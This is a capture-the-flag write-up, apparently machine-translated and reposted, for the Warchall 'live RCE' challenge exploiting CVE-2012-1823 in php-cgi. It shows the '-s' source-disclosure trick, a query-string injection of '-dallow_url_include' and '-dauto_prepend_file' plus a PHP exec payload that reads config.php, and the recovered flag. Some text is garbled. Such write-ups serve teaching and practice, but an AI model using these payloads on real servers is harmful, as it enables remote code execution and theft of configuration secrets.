Warchall:live RCE

Source: Internet
Author: User

The specific vulnerability is: cve-2012-1823 (php-cgi RCE)

The behavior of the corresponding php-cgi parameter is run after the add-in parameter of the address

such as Index.php?-s

Relative to/usr/bin/php53-cgi/php-cgi-f index.php-s

php-cgi--help as follows:

usage:php-cgi [-Q] [-h] [-S] [-v] [-i] [-f <file>] PHP-cgi <file>[args ...] -a Run interactively-B <address:port>|<port> Bind Path forexternal FASTCGI Server mode-C do not chdir to the script'S Directory-C <path>|<file> Look forInifile inchThis directory-N No php.inifileWould be used-D Foo[=bar] Define INI entry Foo with value'Bar'-E Generate Extended information fordebugger/Profiler-F <file> Parse <file. Implies '-Q'-h This help-I PHP information-l Syntax Check only (lint)-M Show compiledinchModules-Q quiet-mode.  Suppress HTTP Header output. -s Display colour syntax highlighted source. -v Version number-WDisplay source with stripped comments and whitespace. -Z <file> Load Zend Extension <file>. -T <count> Measure execution TimeOf the script repeated <count> times.

Http://rce.warchall.net/?-s

See the source code of index.php

基中有一个语句是:require ‘../config.php‘;

Then we'll find a way to read this file.

The absolute path to the index.php is:/home/level/20_live_rce/www/index.php
.. The absolute path to the/config.php is:/home/level/20_live_rce/config.ph
Try to output config.php source code.

php-cgi
Parameter: D Foo[=bar] 'bar'
-dallow_url_include=on
dauto_prepend_file=/tmp/2.php
Creating a 2.php content in/tmp is:
<? PHP exec ("cat/home/level/20_live_rce/config.php",$out); Print_r ($out);? >

Submit Address: (address, this/TMP/2 can be changed in their own service http://xxx.xxx/1.txt)

Http://rce.warchall.net/?-dallow_url_include=On+-dauto_prepend_file=/tmp/2.php+-n

UrlEncode is:

Http://rce.warchall.net/?-dallow_url_include%3DOn+-dauto_prepend_file%3D%2ftmp%2f2.php+-n

Get.. Source code for/config.php:

Array Define (' Icanhazrce ', ' stronggard_6_3 '); [return  icanhazrce; [

Warchall:live RCE

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.